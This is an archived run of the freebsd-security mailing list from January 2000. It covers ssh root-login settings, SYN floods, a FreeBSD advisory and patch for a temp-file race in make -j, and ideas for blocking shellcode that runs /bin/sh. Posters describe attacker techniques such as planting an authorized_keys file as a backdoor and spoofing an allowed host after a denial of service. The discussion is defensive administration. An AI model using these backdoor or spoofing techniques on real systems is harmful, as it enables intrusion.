In-Reply-To: <20000119155203.C8404@is.co.za> References: <20000119134325.J2167@supra.rotterdam.luna.net> <20000119155203.C8404@is.co.za> X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000120002132R.1000@eccosys.com> Date: Thu, 20 Jan 2000 00:21:32 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 12 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org marcs> That should never happen if this line is in your sshd_config file: marcs> PermitRootLogin no marcs> I think it's better to log in as your user and then su to root. if you su, don't you have to type in the root password? even if the session is encrypted, the password still goes over the wire. if you use rsa key authentication you don't have that particular risk (though you may have others). i don't think it is clear-cut whether it is better one way or the other. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 7:31:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.creator.co.za (tic1mx.creator.co.za [196.31.67.32]) by hub.freebsd.org (Postfix) with ESMTP id 3649614C49 for ; Wed, 19 Jan 2000 07:31:25 -0800 (PST) (envelope-from anthon@creator.co.za) Received: by mail.creator.co.za from localhost (router,SLMail V3.2); Wed, 19 Jan 2000 17:31:59 +0200 Received: from anthon [196.31.67.2] by mail.creator.co.za [196.31.67.32] (SLmail 3.2.3113) with SMTP id 00460496CDAF11D3BA1B0004ACC67E0E for ; Wed, 19 Jan 2000 17:31:58 0200 Reply-To: From: "Erich A Voigt" To: Subject: subscribe Date: Wed, 19 Jan 2000 17:26:00 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal X-SLUIDL: 2763FE21-CE8511D3-BA1B0004-ACC67E0E Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe anthon@creator.co.za Erich A Voigt Creator Solutions Ph: +27 21 465 9619 Fax: + 27 21 465 9414 Mail: anthon@creator.co.za Home is where you hang your @ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 9:29:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 5232C15304 for ; Wed, 19 Jan 2000 09:29:33 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA21893; Wed, 19 Jan 2000 10:28:59 -0700 (MST) Message-Id: <4.2.2.20000119102658.01a6c250@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 19 Jan 2000 10:28:57 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: TCP/IP Cc: Wes Peters , patl@phoenix.volant.org, David Wolfskill , matt@ARPA.MAIL.NET, freebsd-security@FreeBSD.ORG In-Reply-To: <200001190656.WAA33816@apollo.backplane.com> References: <388557FB.443E66B0@softweyr.com> <4.2.2.20000118234610.01dd9b60@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:56 PM 1/18/2000 , Matthew Dillon wrote: >:True. But one can minimize the damage. The best way to do this seems to be >:via a pseudorandom sequence number on the SYN-ACK, which eliminates the need >:for the server to retain any state after the SYN. >: >:--Brett > > Assuming you have bandwidth left to play with. SYNs and SYN-ACKs are short. Usually, the problem when you're SYN-flooded is resource starvation. FreeBSD apparently drops connections that are partially set up at random when it is SYN flooded. This protects the system from total devastation, but it can make your system or site appear to be unreliable! If you're an e-commerce site, for example, you can lose customers. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 11: 5: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 4C4B315381; Wed, 19 Jan 2000 11:04:48 -0800 (PST) (envelope-from security-officer@freebsd.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA74589; Wed, 19 Jan 2000 12:04:46 -0700 (MST) (envelope-from security-officer@freebsd.org) Received: (from root@localhost) by harmony.village.org (8.9.3/8.8.3) id MAA27712; Wed, 19 Jan 2000 12:05:24 -0700 (MST) Date: Wed, 19 Jan 2000 12:05:24 -0700 (MST) Message-Id: <200001191905.MAA27712@harmony.village.org> From: FreeBSD Security Officer Subject: FreeBSD Security Advisory: FreeBSD-SA-00:01.make Reply-To: security-officer@freebsd.org From: FreeBSD Security Officer Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-00:01 Security Advisory FreeBSD, Inc. Topic: Insecure temporary file handling in make(1) Category: core Module: make Announced: 2000-01-19 Affects: All versions before the correction date. Corrected: 2000-01-16 FreeBSD only: NO Patches: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:01/make.patch I. Background The make(1) program is typically used to schedule building of source code. It has a switch ('-j') to allow parallel building by spawning multiple child processes. II. Problem Description The -j option to make(1) uses temporary files in /tmp to communicate with its child processes by storing the shell command the child should execute. This is useful on multi-processor architectures for making use of all of the available CPUs, and is also widely used on uniprocessor systems to minimize the scheduling latency of the build process. However make(1) uses the temporary file in an insecure way, repeatedly deleting and reusing the same file name for the entire life of the program. This makes it vulnerable to a race condition wherein a malicious user could observe the name of the temporary file being used, and replace the contents of a later instance of the file with her desired commands after the legitimate commands have been written. This vulnerability was discovered as part of the FreeBSD Auditing Project, an ongoing effort to identify and correct security vulnerabilities in the FreeBSD operating system. All versions of NetBSD and OpenBSD are also believed to be vulnerable to this problem. Other systems using a BSD-derived make(1) binary may also be vulnerable. III. Impact Local users could execute arbitrary shell commands as part of the build process scheduled by "make -j" by another user. IV. Workaround Avoid using the '-j' flag to make(1). V. Solution Upgrade your system to one that is listed above as having the problem resolved, or patch your present system. To patch your present system: save the patch below into a file, and execute the following commands as root: cd /usr/src/usr.bin/make patch < /path/to/patch/file make all make install Patches for 3.4-STABLE and 4.0-CURRENT systems before the resolution date: Index: job.c =================================================================== RCS file: /home/ncvs/src/usr.bin/make/job.c,v retrieving revision 1.16 diff -u -r1.16 job.c --- job.c 1999/09/11 13:08:01 1.16 +++ job.c 2000/01/17 01:42:57 @@ -163,14 +163,6 @@ #define JOB_STOPPED 3 /* The job is stopped */ /* - * tfile is the name of a file into which all shell commands are put. It is - * used over by removing it before the child shell is executed. The XXXXXXXXXX - * in the string are replaced by mkstemp(3). - */ -static char tfile[sizeof(TMPPAT)]; - - -/* * Descriptions for various shells. */ static Shell shells[] = { @@ -993,7 +985,7 @@ /* * If we are aborting and the job table is now empty, we finish. */ - (void) eunlink(tfile); + (void) eunlink(job->tfile); Finish(errors); } } @@ -1668,6 +1660,7 @@ Boolean cmdsOK; /* true if the nodes commands were all right */ Boolean local; /* Set true if the job was run locally */ Boolean noExec; /* Set true if we decide not to run the job */ + int tfd; /* File descriptor for temp file */ if (previous != NULL) { previous->flags &= ~(JOB_FIRST|JOB_IGNERR|JOB_SILENT|JOB_REMOTE); @@ -1697,6 +1690,12 @@ } job->flags |= flags; + (void) strcpy(job->tfile, TMPPAT); + if ((tfd = mkstemp(job->tfile)) == -1) + Punt("cannot create temp file: %s", strerror(errno)); + else + (void) close(tfd); + /* * Check the commands now so any attributes from .DEFAULT have a chance * to migrate to the node @@ -1722,9 +1721,9 @@ DieHorribly(); } - job->cmdFILE = fopen(tfile, "w+"); + job->cmdFILE = fopen(job->tfile, "w+"); if (job->cmdFILE == NULL) { - Punt("Could not open %s", tfile); + Punt("Could not open %s", job->tfile); } (void) fcntl(FILENO(job->cmdFILE), F_SETFD, 1); /* @@ -1830,7 +1829,7 @@ * Unlink and close the command file if we opened one */ if (job->cmdFILE != stdout) { - (void) eunlink(tfile); + (void) eunlink(job->tfile); if (job->cmdFILE != NULL) (void) fclose(job->cmdFILE); } else { @@ -1859,7 +1858,7 @@ } } else { (void) fflush(job->cmdFILE); - (void) eunlink(tfile); + (void) eunlink(job->tfile); } /* @@ -2403,13 +2402,6 @@ * be running at once. */ { GNode *begin; /* node for commands to do at the very start */ - int tfd; - - (void) strcpy(tfile, TMPPAT); - if ((tfd = mkstemp(tfile)) == -1) - Punt("cannot create temp file: %s", strerror(errno)); - else - (void) close(tfd); jobs = Lst_Init(FALSE); stoppedJobs = Lst_Init(FALSE); @@ -2914,7 +2906,7 @@ } } } - (void) eunlink(tfile); + (void) eunlink(job->tfile); } /* @@ -2948,7 +2940,6 @@ } } } - (void) eunlink(tfile); return(errors); } @@ -3024,6 +3015,7 @@ KILL(job->pid, SIGINT); KILL(job->pid, SIGKILL); #endif /* RMT_WANTS_SIGNALS */ + (void) eunlink(job->tfile); } } @@ -3032,7 +3024,6 @@ */ while (waitpid((pid_t) -1, &foo, WNOHANG) > 0) continue; - (void) eunlink(tfile); } #ifdef REMOTE Index: job.h =================================================================== RCS file: /home/ncvs/src/usr.bin/make/job.h,v retrieving revision 1.10 diff -u -r1.10 job.h --- job.h 1999/08/28 01:03:31 1.10 +++ job.h 2000/01/17 01:42:31 @@ -93,6 +93,8 @@ #define JOB_BUFSIZE 1024 typedef struct Job { int pid; /* The child's process ID */ + char tfile[sizeof(TMPPAT)]; + /* Temporary file to use for job */ GNode *node; /* The target the child is making */ LstNode tailCmds; /* The node of the first command to be * saved when the job has been run */ ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org Security notifications: security-notifications@freebsd.org Security public discussion: freebsd-security@freebsd.org PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBOIVvCFUuHi5z0oilAQF7nQP+No1n5Rl2g0ltvu+Vrx2ImMZreOwz04zZ a6MM+bQQ0q/pXgupzSQ3xcfpzZzHjQx2+ajMg4P+l7+OsBvjBvrVFrc021rRW18W Ds3A/Vlm8seaWOe4Q4u5qSTdp2PO9HXJrEQWL37xAQtqVyT3J2E37MQyEfENWg4d FeIUCiTIMuA= =86yT -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 13:37:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from almazs.pacex.net (almazs.pacex.net [204.1.219.156]) by hub.freebsd.org (Postfix) with ESMTP id 344D415052 for ; Wed, 19 Jan 2000 13:37:24 -0800 (PST) (envelope-from admin@pacex.net) Received: from almazs.pacex.net (almazs.pacex.net [204.1.219.156]) by almazs.pacex.net (8.9.3/8.9.3) with ESMTP id NAA98353; Wed, 19 Jan 2000 13:36:14 -0800 (PST) Date: Wed, 19 Jan 2000 13:36:13 -0800 (PST) From: net admin To: Marc Silver Cc: Stephan van Beerschoten , freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' In-Reply-To: <20000119165350.E8404@is.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I am just going to sneak in to this thread and throw-in a question; I have read in the ssh docs that tcp_wrappers do not give any added security benefits is used with ssh, and some even suggested that best not to have tcp_wrappers with ssh????\ Please elucidate as to why tcp_wrappers would give added security when used with ssh. Just seeking more info I am not in the security list yet. Dan On Wed, 19 Jan 2000, Marc Silver wrote: > Ah ok -- I see what you mean. I suppose another way you could kind of > prevent this is to use tcp_wrappers thereby being sure that only the > hosts you want can get into the box. This doesn't help you if the box > is already hacked, but it can help if it isn't. > > My two more cents... > > I'll keep quiet now and no offense meant by my earlier posts if you were > offended btw. ;) > > Cheers, > Marc > > On Wed, Jan 19, 2000 at 03:43:48PM +0100, Stephan van Beerschoten wrote: > > On Wed, Jan 19, 2000 at 03:52:03PM +0200, Marc Silver wrote: > > > That should never happen if this line is in your sshd_config file: > > > > > > PermitRootLogin no > > > > Well, sure this line was there, but one of the kids who hacked it > > must have altered this default behaviour and placed the auth-file. > > > > It was just to bring the auth-file thing to everyone's attention, > > because its not just the root account which can be abused like this.. > > if a possible hacker placed an authorised_keys file (with his key) in > > any user's homedir, this account is permanently open for the hacker to > > logon to. > > > > Just a note. > > -Steve > > > > -- > > Stephan van Beerschoten Email: stephanb@luna.nl > > Network Engineer Luna Internet Services > > PGP fingerprint 4557 9761 B212 FB4C 778D 3529 C42A 2D27 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 13:58: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from turing.csis.gvsu.edu (csis.gvsu.edu [148.61.162.182]) by hub.freebsd.org (Postfix) with SMTP id 0484315234 for ; Wed, 19 Jan 2000 13:57:56 -0800 (PST) (envelope-from matt@csis.gvsu.edu) Received: (qmail 31423 invoked by uid 0); 19 Jan 2000 21:57:53 -0000 Received: from eos20.csis.gvsu.edu (matt@148.61.162.120) by turing.csis.gvsu.edu with QMQP; 19 Jan 2000 21:57:53 -0000 From: matt@csis.gvsu.edu Date: Wed, 19 Jan 2000 11:57:54 -0500 To: net admin Cc: Marc Silver , Stephan van Beerschoten , freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' Message-ID: <20000119115754.A5523@eos20.csis.gvsu.edu> References: <20000119165350.E8404@is.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5i In-Reply-To: ; from net admin on Wed, Jan 19, 2000 at 01:36:13PM -0800 X-my-OS-is-better-than-your-OS: Linux 2.2.5-22 i686 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org net admin said: > I am just going to sneak in to this thread and throw-in a question; > I have read in the ssh docs that tcp_wrappers do not give any added > security benefits is used with ssh, and some even suggested that best not > to have tcp_wrappers with ssh????\ > > Please elucidate as to why tcp_wrappers would give added security when > used with ssh. I prefer to use tcp_wrappers with ssh so all my access control is in one file. Compiling with tcp_wrappers is redundant if sshd is spawned from inetd. sshd has a redimentary host control directives, ie AllowHosts. I can't see any adverse effects of compiling ssh with tcp_wrappers. Someone correct me if I'm wrong. -matt -- http://www.csis.gvsu.edu/matt 03 F8 23 C5 43 A2 F7 5A 24 49 F7 B0 3A F9 B1 7F Try to understand everything, but believe nothing To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 18:56:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 150CA14CE6; Wed, 19 Jan 2000 18:56:14 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id TAA28650; Wed, 19 Jan 2000 19:56:08 -0700 (MST) Message-Id: <4.2.2.20000119195530.01df0550@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 19 Jan 2000 19:56:08 -0700 To: security-officer@FreeBSD.ORG, security@FreeBSD.ORG From: Brett Glass Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-00:01.make In-Reply-To: <200001191905.MAA27712@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org FreeBSD catches OpenBSD on something rather than the other way around? Good work! --Brett At 12:05 PM 1/19/2000 , FreeBSD Security Officer wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >============================================================================= >FreeBSD-SA-00:01 Security Advisory > FreeBSD, Inc. > >Topic: Insecure temporary file handling in make(1) > >Category: core >Module: make >Announced: 2000-01-19 >Affects: All versions before the correction date. >Corrected: 2000-01-16 >FreeBSD only: NO > >Patches: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:01/make.patch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 19:20:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id E13A5153A0 for ; Wed, 19 Jan 2000 19:20:10 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id 584671BEC; Wed, 19 Jan 2000 14:03:55 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14470.2714.445315.624901@anarcat.dyndns.org> Date: Wed, 19 Jan 2000 14:03:54 -0500 (EST) To: Omachonu Ogali Cc: Alexander Langer , Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? References: <14467.56256.337327.619067@anarcat.dyndns.org> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Reply-To: beaupran@iro.umontreal.ca Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yes, but you'll have to patch every single shell... Unless the attacker is not aware of the mesure. It is too simple to change an exploit code to use (say) csh instead of sh. Even then, one could exploit other executables. I would favor more the idea of implementing this in the kernel... --- Big Brother told Omachonu Ogali to write, at 22:57 of January 17: > That was the purpose for the denying code, to try and stop the attack > before it goes through. For instance, 'named' shouldn't be executing sh, > so I would add 'named' to the file, see where I'm going? > > Omachonu Ogali > Intranova Networking Group > > On Mon, 17 Jan 2000, Spidey wrote: > > > These exploits can generally be trivially modified to use another > > shell. > > > > And anyways, once sh is launched and it's not supposed to (read: root > > shell), it's generally too late.. :)) > > > > The AnarCat > > > > --- Big Brother told Omachonu Ogali to write, at 14:28 of January 17: > > > On all systems. > > > > > > Take a look at some shellcode in the most recent exploits, they either > > > bind /bin/sh to a port via inetd or execute some program using /bin/sh. > > > > > > Omachonu Ogali > > > Intranova Networking Group > > > > > > On Mon, 17 Jan 2000, Alexander Langer wrote: > > > > > > > Thus spake Omachonu Ogali (oogali@intranova.net): > > > > > > > > > Most of the exploits out there use /bin/sh to launch attacks. > > > > > > > > On FreeBSD? > > > > > > > > Alex > > > > > > > > -- > > > > I doubt, therefore I might be. > > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > -- > > Si l'image donne l'illusion de savoir > > C'est que l'adage pretend que pour croire, > > L'important ne serait que de voir > > > > Lofofora > > -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 21: 1:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id B243E1520C for ; Wed, 19 Jan 2000 21:01:34 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id AAA71311; Thu, 20 Jan 2000 00:05:37 -0500 (EST) (envelope-from cjc) Date: Thu, 20 Jan 2000 00:05:37 -0500 From: "Crist J. Clark" To: Jonathan Fortin Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh. Message-ID: <20000120000537.C70698@cc942873-a.ewndsr1.nj.home.com> References: <001001bf6296$359d7030$0900000a@server> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <001001bf6296$359d7030$0900000a@server>; from jonf@revelex.com on Wed, Jan 19, 2000 at 09:59:47AM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Jan 19, 2000 at 09:59:47AM -0600, Jonathan Fortin wrote: > > > Hi , > > > PermitRootLogin on or even tcp_wrapper wont help if a user backdoors /bin/login or sshd. > Try to keep track of the files checksum by making a crontab so it can email you once a day. > Just advise.. And someone who breaks in can easily fake that email. My personal solution (I know you are all dying for it)? Make sure root's .ssh directory is watched _very_ closely by Tripwire. Setup Tripewire to use read-only media (e.g. write protected floppy). -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 21: 3:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from inago.swcp.com (inago.swcp.com [198.59.115.17]) by hub.freebsd.org (Postfix) with ESMTP id 79A9E152A9; Wed, 19 Jan 2000 21:03:16 -0800 (PST) (envelope-from synk@swcp.com) Received: (from synk@localhost) by inago.swcp.com (8.8.7/8.8.7) id WAA07214; Wed, 19 Jan 2000 22:03:15 -0700 (MST) Date: Wed, 19 Jan 2000 22:03:15 -0700 From: Brendan Conoboy To: freebsd-security@freebsd.org Cc: freebsd-config@freebsd.org Subject: ipf/ipfw/nat rc patch, rule generator Message-ID: <20000119220315.A7210@inago.swcp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi everybody, A couple weeks ago I promised people I'd write a patch that integrates ipf into FreeBSD's startup scripts. Here's what it does: Rearranges some things in rc.conf (relative to freebsd-current from a couple days ago, cvs tag in the diff), adding a number of features. Rewrites rc.firewall to: 1) Use either ipf, ipfw, some third party program, or nothing at all 2) Auto generate a sensible rule list, if configured to do so in rc.conf Creates rc.nat, the nat equivalent of rc.firewall rc.nat also generates a sensible rule list, if configured to do so. Updates rc.network to work with the new system Two additional files are introduced, /etc/nat.conf and /etc/firewall.conf. This is where the associated rules are stored. This is a change from the ipfw configuration being stored in the middle of rc.firewall. In order to not bog down the list, you can download the patch at: http://www.swcp.com/~synk/ipfmerge.patch All feedback would be much appreciated. I'd really like this to go into freebsd 4.0, or have something resembling this to go in. -Brendan (synk@swcp.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 21:49:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from mercury.is.co.za (mercury.is.co.za [196.4.160.222]) by hub.freebsd.org (Postfix) with ESMTP id C276E1534B for ; Wed, 19 Jan 2000 21:49:38 -0800 (PST) (envelope-from marcs@is.co.za) Received: from hermwas.is.co.za (hermwas.is.co.za [196.23.0.8]) by mercury.is.co.za (8.9.3/8.9.3) with ESMTP id HAA30121; Thu, 20 Jan 2000 07:49:35 +0200 Received: (from marcs@localhost) by hermwas.is.co.za (8.9.3/8.9.3) id HAA22839; Thu, 20 Jan 2000 07:49:33 +0200 (SAT) Date: Thu, 20 Jan 2000 07:49:33 +0200 From: Marc Silver To: sen_ml@eccosys.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' Message-ID: <20000120074933.G8404@is.co.za> References: <20000119134325.J2167@supra.rotterdam.luna.net> <20000119155203.C8404@is.co.za> <20000120002132R.1000@eccosys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <20000120002132R.1000@eccosys.com> X-Operating-System: SunOS 5.6 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Agreed. There are many ways to setup sshd. Personally, I use the AllowHosts stuff and ONLY allow RSA authentication. I know this isn't perfect, but like you said there are risks doing it either way. Cheers, Marc On Thu, Jan 20, 2000 at 12:21:32AM +0900, sen_ml@eccosys.com wrote: > marcs> That should never happen if this line is in your sshd_config file: > marcs> PermitRootLogin no > > marcs> I think it's better to log in as your user and then su to root. > > if you su, don't you have to type in the root password? even if the > session is encrypted, the password still goes over the wire. if you > use rsa key authentication you don't have that particular risk (though > you may have others). > > i don't think it is clear-cut whether it is better one way or the > other. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Marc Silver IS Hosting Infrastructure The Internet Solution Tel: (+27 11) 283 5500 Fax: (+27 11) 283 5001 E-mail: marcs@is.co.za Web: www.is.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 22:52:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from foobar.franken.de (foobar.franken.de [194.94.249.81]) by hub.freebsd.org (Postfix) with ESMTP id 4DED215369 for ; Wed, 19 Jan 2000 22:52:23 -0800 (PST) (envelope-from logix@foobar.franken.de) Received: (from logix@localhost) by foobar.franken.de (8.8.8/8.8.5) id HAA03775; Thu, 20 Jan 2000 07:51:52 +0100 (CET) Message-ID: <20000120075151.A3515@foobar.franken.de> Date: Thu, 20 Jan 2000 07:51:51 +0100 From: Harold Gutch To: sen_ml@eccosys.com, freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' References: <20000119155203.C8404@is.co.za> <20000119154348.A6412@supra.rotterdam.luna.net> <20000119165350.E8404@is.co.za> <20000120001840W.1000@eccosys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <20000120001840W.1000@eccosys.com>; from sen_ml@eccosys.com on Thu, Jan 20, 2000 at 12:18:40AM +0900 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 20, 2000 at 12:18:40AM +0900, sen_ml@eccosys.com wrote: > marcs> Ah ok -- I see what you mean. I suppose another way you could kind of > marcs> prevent this is to use tcp_wrappers thereby being sure that only the > marcs> hosts you want can get into the box. > > 'being sure' is a bit strong don't you think? if someone has spoofed the > ip address it doesn't help you at all. You want to do a blind-spoof on a cryptographic key-exchange? Good luck. bye, Harold -- Someone should do a study to find out how many human life spans have been lost waiting for NT to reboot. Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 23: 2:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 4B8FC14E47 for ; Wed, 19 Jan 2000 23:02:47 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 11108 invoked from network); 20 Jan 2000 07:01:35 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 20 Jan 2000 07:01:35 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' From: sen_ml@eccosys.com In-Reply-To: <20000120075151.A3515@foobar.franken.de> References: <20000119165350.E8404@is.co.za> <20000120001840W.1000@eccosys.com> <20000120075151.A3515@foobar.franken.de> X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000120160325Z.1000@eccosys.com> Date: Thu, 20 Jan 2000 16:03:25 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 10 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > 'being sure' is a bit strong don't you think? if someone has spoofed the > ip address it doesn't help you at all. logix> You want to do a blind-spoof on a cryptographic key-exchange? not necessarily. if you perform a successful denial-of-service attack of a certain type on one of your allowed hosts, and you know a password to get in to the server running the ssh daemon, then you can manage i think. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 23:23:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from inago.swcp.com (inago.swcp.com [198.59.115.17]) by hub.freebsd.org (Postfix) with ESMTP id 225AA15386 for ; Wed, 19 Jan 2000 23:23:09 -0800 (PST) (envelope-from synk@swcp.com) Received: (from synk@localhost) by inago.swcp.com (8.8.7/8.8.7) id AAA07872 for freebsd-security@freebsd.org; Thu, 20 Jan 2000 00:23:08 -0700 (MST) Date: Thu, 20 Jan 2000 00:23:08 -0700 From: Brendan Conoboy To: freebsd-security@freebsd.org Subject: Re: ipf/ipfw/nat rc patch, rule generator Message-ID: <20000120002308.A7845@inago.swcp.com> References: <20000119220315.A7210@inago.swcp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i 